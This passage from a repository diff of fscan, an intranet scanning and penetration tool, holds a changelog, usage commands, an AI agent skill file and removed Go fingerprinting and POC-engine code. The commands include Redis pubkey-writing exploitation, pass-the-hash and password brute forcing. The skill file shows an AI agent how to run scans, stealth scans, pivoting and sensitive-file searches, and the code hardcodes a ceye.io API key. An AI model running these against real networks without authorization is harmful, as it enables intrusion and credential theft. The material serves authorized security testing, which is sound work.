- **Performance Profiling Support** - Added pprof profiling and benchmark tests
- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
### Bug Fixes (120 items, key fixes listed)
- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
- **JSON Output Format** - Fixed output format errors (#446)
- **Redis Weak Password Detection** - Fixed detection omissions (#447)
- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
- **MySQL Connection Validation** - Changed to information_schema for validation
- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
- **ICMP Race Condition** - Fixed concurrent scan race issues
- **IPv6 Address Format** - Fixed 4 address formatting issues
- **POC High Concurrency Hang** - Fixed Context propagation issues
- **Ctrl+C Result Loss** - Added signal handling for proper result saving
- **SOCKS5 Echo Issue** - Added proxy connection validation
- **Service Probe Leak** - Fixed connection not properly closed
- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
- **JSON Fingerprint Missing** - Unified SERVICE result Target format
- **Scan Duration Display** - Fixed completion time showing as 0
- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
### Test Enhancements (20 items)
- **Unit Tests** - Core module coverage at 74-100%
- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
- **CLI Parameter Tests** - Command-line argument parsing verification
- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
- **ResultBuffer Tests** - Deduplication and completeness scoring verification
### Engineering Improvements
- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
- **README Rewrite** - Comprehensive Chinese and English documentation update
- **Code Format Unification** - gofmt/goimports standardization
## Quick Start
```bash
# Scan C-class network
./fscan -h 192.168.1.1/24
# Specify ports
./fscan -h 192.168.1.1 -p 22,80,443,3389
# Alive detection only
./fscan -h 192.168.1.1/24 -ao
# Disable brute force
./fscan -h 192.168.1.1/24 -nobr
# Web scanning
./fscan -u http://192.168.1.1
# Local plugin
./fscan -local systeminfo
# Hash authentication
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
# Redis write pubkey
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
```
## Build
```bash
# Standard build
go build -ldflags="-s -w" -trimpath -o fscan main.go
# With Web UI
go build -tags web -ldflags="-s -w" -trimpath -o fscan main.go
```
## Install
```bash
# Arch Linux
yay -S fscan-git
```
## Screenshots
`fscan.exe -h 192.168.x.x`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
![](image/2.png)
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
![](image/netbios.png)
![](image/netbios1.png)
`fscan.exe -h 192.0.0.0/8 -m icmp`
![img.png](image/live.png)
![2.0-1](image/2.0-1.png)
![2.0-2](image/2.0-2.png)
## Roadmap
### Release Schedule
- **Release Cycle** - Monthly release
- **First 2 Weeks** - New features and enhancements
- **Last 2 Weeks** - Bug fixes and code integration
- **PRs Welcome** - Contributions are appreciated!
### Plugin Ecosystem
- Continuously expand service plugin coverage
- Develop more vulnerability detection and exploitation capabilities for each service plugin
- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
### Fscan-lite
- Lightweight version rewritten in C
- Smaller binary size, fewer dependencies
- Support for embedded/restricted environments
- Directory: [fscan-lite](./fscan-lite)
### Fscan-lab
- Intranet penetration testing lab environment
- Covers all vulnerability scenarios supported by fscan
- Development testing and feature verification platform
- Learning and practice environment for beginners
- Directory: [fscan-lab](./fscan-lab)
## Disclaimer
This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
## 404StarLink
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
## Star History
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
## Donate
[Buy the author a drink](image/sponsor.png)
## References
- https://github.com/Adminisme/ServerScan
- https://github.com/netxfly/x-crack
- https://github.com/hack2fun/Gscan
- https://github.com/k8gege/LadonGo
- https://github.com/jjf012/gopoc
- https://github.com/chainreactors/gogo
- https://github.com/0x727/FingerprintHub
- https://github.com/killmonday/fscanx
+304
View File
@@ -0,0 +1,304 @@
---
name: fscan-agent
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
argument-hint: <目标IP/网段> [附加参数]
allowed-tools: Bash, Read, Agent
---
# Fscan AI Agent Skill
## 工具概述
Fscan 是一款内网综合扫描工具,功能包括:
- 主机存活探测(ICMP / TCP
- 端口扫描与服务识别
- 漏洞检测(MS17-010、Redis 未授权等)
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
- Web 指纹识别与 POC 扫描
- NetBIOS / SMB 信息收集
- 本地信息收集(杀软检测、系统信息等)
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`
## 调用格式
```bash
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
fscan -h <目标> -silent [其他参数]
# 解析输出
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
```
## 核心参数
### 目标指定
| 参数 | 说明 | 示例 |
|------|------|------|
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
| `-ep` | 排除端口 | `-ep 25,110` |
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
| `-u` | 指定 URLWeb 扫描) | `-u https://example.com` |
| `-uf` | URL 文件 | `-uf urls.txt` |
### 扫描控制
| 参数 | 说明 | 默认值 |
|------|------|--------|
| `-m` | 扫描模式 | `all` |
| `-t` | 端口扫描线程数 | `600` |
| `-mt` | 模块线程数 | `20` |
| `-time` | 连接超时(秒) | `3` |
| `-gt` | 全局超时(秒) | `180` |
| `-np` | 跳过存活检测 | `false` |
| `-ntp` | 禁用 TCP 补充探测 | `false` |
| `-ao` | 仅存活检测 | `false` |
| `-nobr` | 禁用暴力破解 | `false` |
| `-full` | 全量 POC 扫描 | `false` |
| `-max-retries` | 最大重试次数 | `1` |
### 认证
| 参数 | 说明 |
|------|------|
| `-user` | 用户名 |
| `-pwd` | 密码 |
| `-usera` | 追加用户名 |
| `-pwda` | 追加密码 |
| `-userf` | 用户名字典文件 |
| `-pwdf` | 密码字典文件 |
| `-domain` | 域名(SMB/WMI |
| `-sshkey` | SSH 私钥文件 |
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
### 代理
| 参数 | 说明 |
|------|------|
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
| `-iface` | 指定本地网卡 IP(VPN 场景) |
### 输出
| 参数 | 说明 |
|------|------|
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
| `-o` | 输出文件路径(默认 `result.txt` |
| `-f` | 输出格式:`txt` / `json` / `csv` |
| `-no` | 禁用文件保存 |
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
| `-log` | 日志级别(`debug` / `info` / `base` / `error` |
### 扫描模式 `-m` 的取值
| 值 | 说明 |
|------|------|
| `all` | 全部扫描(默认) |
| `icmp` | 仅 ICMP 存活检测 |
| 插件名 | 仅运行指定插件(如 `ssh``smb``ms17010``webtitle` |
## 服务插件列表
| 插件 | 默认端口 | 功能 |
|------|----------|------|
| `ftp` | 21 | FTP 弱口令 |
| `ssh` | 22 | SSH 弱口令 |
| `telnet` | 23 | Telnet 弱口令 |
| `smtp` | 25 | SMTP 弱口令 |
| `findnet` | 135 | RPC 网络信息发现(NetInfo |
| `netbios` | 139 | NetBIOS 信息收集 |
| `smb` | 445 | SMB 弱口令 |
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
| `ldap` | 389 | LDAP 弱口令 |
| `mssql` | 1433 | MSSQL 弱口令 |
| `oracle` | 1521 | Oracle 弱口令 |
| `mysql` | 3306 | MySQL 弱口令 |
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
| `postgresql` | 5432 | PostgreSQL 弱口令 |
| `vnc` | 5900 | VNC 弱口令 |
| `redis` | 6379 | Redis 未授权 + 弱口令 |
| `elasticsearch` | 9200 | ES 未授权 |
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
| `memcached` | 11211 | Memcached 未授权 |
| `kafka` | 9092 | Kafka 未授权 |
| `activemq` | 61616 | ActiveMQ 弱口令 |
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
| `cassandra` | 9042 | Cassandra 弱口令 |
| `neo4j` | 7687 | Neo4j 弱口令 |
| `rsync` | 873 | Rsync 未授权 |
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
| `webpoc` | 80/443 | Web 漏洞 POC |
## 本地插件(`-local`
```bash
fscan -local avdetect # 杀软检测
fscan -local systeminfo # 系统信息收集
fscan -local envinfo # 环境变量信息
fscan -local dcinfo # 域控信息
fscan -local fileinfo # 敏感文件搜索
```
## NDJSON 输出 Schema`-silent` 模式)
每行一个 JSON 对象,所有字段定义:
| 字段 | 类型 | 出现条件 | 说明 |
|------|------|----------|------|
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
| `target` | string | 必有 | 原始目标 `host``host:port` |
| `status` | string | 必有 | 状态描述 |
| `host` | string | 必有 | IP 地址 |
| `port` | int | PORT/SERVICE/VULN | 端口号 |
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https |
| `banner` | string | SERVICE | 服务 Banner |
| `title` | string | SERVICE (web) | 网页标题 |
| `url` | string | SERVICE (web) | 完整 URL |
| `vulnerability` | string | VULN | 漏洞名称 |
| `username` | string | VULN (弱口令) | 用户名 |
| `password` | string | VULN (弱口令) | 密码 |
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
| `version` | string | SERVICE | 服务版本号 |
| `os` | string | SERVICE | 操作系统信息 |
### 输出示例
```jsonl
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
```
### 结果产出顺序
1. `HOST` — 存活探测阶段
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
3. `SERVICE` — 服务识别阶段
4. `VULN` — 漏洞/弱口令检测阶段
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
## 常用场景参数组合
### 全网段快速扫描
```bash
fscan -h 192.168.1.0/24 -silent
```
### 跳过存活检测直接扫端口(目标明确时)
```bash
fscan -h 192.168.1.0/24 -silent -np
```
### 指定端口精确扫描
```bash
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
```
### 仅存活探测
```bash
fscan -h 172.16.0.0/16 -silent -m icmp
```
### 低速隐蔽扫描
```bash
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
```
### 通过 SOCKS5 代理扫描内网
```bash
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
```
### 仅做弱口令检测
```bash
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
```
### Web 目标扫描
```bash
fscan -u https://target.com -silent -full
```
### 多目标文件批量扫描
```bash
fscan -hf targets.txt -silent -o results.json -f json
```
### 带调试日志的排障扫描
```bash
# NDJSON 到 stdoutdebug 日志到文件,互不干扰
fscan -h 192.168.1.0/24 -silent -debug
# 事后查看:cat fscan_debug.log
```
## AI Agent 结果处理
### Python 管道消费
```python
import json, subprocess
proc = subprocess.Popen(
["fscan", "-h", "192.168.1.0/24", "-silent"],
stdout=subprocess.PIPE, text=True
)
hosts, services, vulns = [], [], []
for line in proc.stdout:
r = json.loads(line)
if r["type"] == "HOST":
hosts.append(r["host"])
elif r["type"] == "SERVICE":
services.append(r)
elif r["type"] == "VULN":
vulns.append(r)
proc.wait()
```
### jq 过滤
```bash
# 提取所有弱口令
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
# 提取所有漏洞
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
# 提取 Web 服务
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
# 统计开放端口
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
```
## 注意事项
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
- 空字段不出现在 JSON 中(`omitempty`
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
- `-silent``-debug` 可同时使用,互不干扰
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
-69
View File
@@ -1,69 +0,0 @@
package WebScan
import (
"crypto/md5"
"fmt"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"regexp"
"strings"
)
type CheckDatas struct {
Body []byte
Headers string
}
func InfoCheck(Url string, CheckData []CheckDatas) {
var matched bool
var infoname []string
for _, data := range CheckData {
for _, rule := range info.RuleDatas {
if rule.Type == "code" {
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
} else {
matched, _ = regexp.MatchString(rule.Rule, data.Headers)
}
if matched == true {
infoname = append(infoname, rule.Name)
}
}
flag, name := CalcMd5(data.Body)
if flag == true {
infoname = append(infoname, name)
}
}
infostr := RemoveMore(infoname)
if len(infoname) > 0 {
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infostr)
common.LogSuccess(result)
}
}
func CalcMd5(Body []byte) (bool, string) {
has := md5.Sum(Body)
md5str := fmt.Sprintf("%x", has)
for _, md5data := range info.Md5Datas {
if md5str == md5data.Md5Str {
return true, md5data.Name
}
}
return false, ""
}
func RemoveMore(a []string) (infostr string) {
var ret []string
for i := 0; i < len(a); i++ {
if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 {
continue
}
ret = append(ret, a[i])
}
infostr = strings.ReplaceAll(fmt.Sprintf("%s ", ret), "[", "")
infostr = strings.ReplaceAll(infostr, "]", "")
return
}
-46
View File
@@ -1,46 +0,0 @@
package WebScan
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"net/http"
"time"
)
//go:embed pocs
var Pocs embed.FS
func WebScan(info *common.HostInfo) {
var pocinfo = common.Pocinfo
pocinfo.Target = info.Url
err := Execute(pocinfo)
if err != nil && common.LogErr {
fmt.Println(info.Url, err)
}
}
func Execute(PocInfo common.PocInfo) error {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil {
return err
}
req, err := http.NewRequest("GET", PocInfo.Target, nil)
if err != nil {
return err
}
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
if PocInfo.Cookie != "" {
req.Header.Set("Cookie", PocInfo.Cookie)
}
if PocInfo.PocName != "" {
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
} else {
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, "")
}
return nil
}
-137
View File
@@ -1,137 +0,0 @@
package info
type RuleData struct {
Name string
Type string
Rule string
}
type Md5Data struct {
Name string
Md5Str string
}
var RuleDatas = []RuleData{
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
{"宝塔-BT.cn", "code", "(app.bt.cn/static/app.png|安全入口校验失败)"},
{"Nexus", "code", "(Nexus Repository Manager)"},
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
{"Harbor", "code", "(<title>Harbor</title>)"},
{"Harbor", "cookie", "(harbor-lang)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
{"禅道", "cookie", "(zentaosid)"},
{"协众OA", "code", "(Powered by 协众OA)"},
{"协众OA", "cookie", "(CNOAOASESSID)"},
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
{"atmail-WebMail", "cookie", "(atmail6)"},
{"atmail-WebMail", "code", "(Powered by Atmail)"},
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
{"Typecho", "code", "(Typecho</a>)"},
{"金蝶EAS", "code", "(easSessionId)"},
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
{"H3C-AM8000", "code", "(AM8000)"},
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
{"H3C公司产品", "code", "([email protected])"},
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
{"H3C ER5100", "code", "(ER5100系统管理)"},
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
{"CISCO_EPC3925", "code", "(Docsis_system)"},
{"CISCO ASR", "code", "(CISCO ASR)"},
{"H3C ER3200", "code", "(ER3200系统管理)"},
{"万户ezOFFICE", "headers", "(LocLan)"},
{"万户网络", "code", "(css/css_whir.css)"},
{"Spark_Master", "code", "(Spark Master at)"},
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
{"360主机卫士", "headers", "(zhuji.360.cn)"},
{"Nagios", "headers", "(Nagios Access)"},
{"H3C ER8300", "code", "(ER8300系统管理)"},
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
{"华为 MCU", "code", "(McuR5-min.js)"},
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
{"泛微协同办公OA", "headers", "(ecology_JSessionid)"},
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
{"360网站卫士", "code", "(360wzb)"},
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
{"zabbix", "cookie", "(zbx_sessionid)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
{"CISCO_VPN", "headers", "(webvpn)"},
{"360站长平台", "code", "(360-site-verification)"},
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
{"o2security_vpn", "headers", "(client_param=install_active)"},
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
{"CISCO-CX20", "code", "(CISCO-CX20)"},
{"H3C ER5200", "code", "(ER5200系统管理)"},
{"linksys-vpn-bragap14-parintins", "code",
"(linksys-vpn-bragap14-parintins)"},
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
{"H3C ER3100", "code", "(ER3100系统管理)"},
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
{"360webfacil_360WebManager", "code", "(publico/template/)"},
{"Citrix_Netscaler", "code", "(ns_af)"},
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
{"H3C ER3260", "code", "(ER3260系统管理)"},
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
{"exchange", "code", "(/owa/auth.owa)"},
{"Spark_Worker", "code", "(Spark Worker at)"},
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
{"Citrix-ConfProxy", "code", "(confproxy)"},
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
{"H3C ER6300", "code", "(ER6300系统管理)"},
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
{"H3C ER2100", "code", "(ER2100系统管理)"},
{"绿盟下一代防火墙", "code", "(NSFOCUS NF)"},
{"jira", "code", "(jira.webresources)"},
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico)"},
{"华为(HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
{"Jboss", "headers", "(JBoss)"},
{"泛微E-mobile", "code", "(Weaver E-mobile)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png)"},
}
var Md5Datas = []Md5Data{
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
{"锐捷网关", "d8d7c9138e93d43579ebf2e384745ba8"},
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
{"SprintBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
{"通达OA", "ed0044587917c76d08573577c8b72883"},
{"泛微OA", "41eca7a9245394106a09b2534d8030df"},
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
}
-208
View File
@@ -1,208 +0,0 @@
package lib
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/common"
"math/rand"
"net/http"
"net/url"
"regexp"
"sort"
"strings"
"sync"
"time"
)
var (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
ceyeDomain = "7wtusr.ceye.io"
)
type Task struct {
Req *http.Request
Poc *Poc
}
func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
tasks := make(chan Task)
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
go func() {
wg.Add(1)
for task := range tasks {
isVul, err := executePoc(task.Req, task.Poc)
if err != nil {
continue
}
if isVul {
result := fmt.Sprintf("%s %s", task.Req.URL, task.Poc.Name)
common.LogSuccess(result)
}
}
wg.Done()
}()
}
for _, poc := range LoadMultiPoc(Pocs, pocname) {
task := Task{
Req: req,
Poc: poc,
}
tasks <- task
}
close(tasks)
wg.Wait()
}
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
c := NewEnvOption()
c.UpdateCompileOptions(p.Set)
env, err := NewEnv(&c)
if err != nil {
fmt.Println("environment creation error: %s\n", err)
return false, err
}
variableMap := make(map[string]interface{})
req, err := ParseRequest(oReq)
if err != nil {
//fmt.Println(err)
return false, err
}
variableMap["request"] = req
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
keys := make([]string, 0)
for k := range p.Set {
keys = append(keys, k)
}
sort.Strings(keys)
for _, k := range keys {
expression := p.Set[k]
if k != "payload" {
if expression == "newReverse()" {
variableMap[k] = newReverse()
continue
}
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
continue
}
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
case []uint8:
variableMap[k] = fmt.Sprintf("%s", out)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
if p.Set["payload"] != "" {
out, err := Evaluate(env, p.Set["payload"], variableMap)
if err != nil {
return false, err
}
variableMap["payload"] = fmt.Sprintf("%v", out)
}
success := false
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
//return false, nil
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败
break
}
success = true
}
return success, nil
}
func doSearch(re string, body string) map[string]string {
r, err := regexp.Compile(re)
if err != nil {
return nil
}
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
paramsMap[name] = result[i]
}
}
return paramsMap
}
return nil
}
func newReverse() *Reverse {
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
